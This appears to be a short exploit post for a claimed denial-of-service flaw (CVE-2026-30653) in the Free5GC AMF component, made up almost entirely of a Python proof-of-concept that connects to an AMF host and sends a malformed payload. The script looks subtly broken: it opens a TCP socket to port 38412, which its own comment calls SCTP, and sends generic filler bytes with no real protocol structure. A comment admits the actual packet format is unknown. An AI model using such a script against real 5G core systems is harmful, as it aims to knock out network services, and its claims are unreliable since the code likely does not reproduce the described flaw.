An issue in Free5GC v.4.2.0 and before allows a remote attacker to cause a denial of service via the function HandleAuthenticationFailure of the component AMF
The following code is for security research and authorized testing only.
python
import socket
# PoC for CVE-2026-30653
# This script attempts to trigger the DoS in Free5GC AMF
# by sending a malformed packet to the AMF service.
# Note: Actual packet structure depends on the specific NAS/NGAP implementation details.
def send_exploit(target_ip, target_port):
try:
# Establish a TCP connection to the AMF interface
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((target_ip, target_port))
# Construct a malformed payload intended to trigger
# the HandleAuthenticationFailure vulnerability.
# This payload simulates a corrupted authentication failure message.
# Example: Buffer overflow pattern or specific protocol trigger
payload = b"\x00\x00\x00\x01" + b"A" * 1000
print(f"[+] Sending payload to {target_ip}:{target_port}")
s.send(payload)
# Wait briefly to check if connection closes (crash)
s.recv(1024)
s.close()
print("[+] Payload sent. Check if AMF service crashed.")
except Exception as e:
print(f"[-] Error occurred: {e}")
if __name__ == "__main__":
TARGET_IP = "192.168.56.101" # Replace with actual AMF IP
TARGET_PORT = 38412 # Common AMF port (SCTP/HTTP)
send_exploit(TARGET_IP, TARGET_PORT)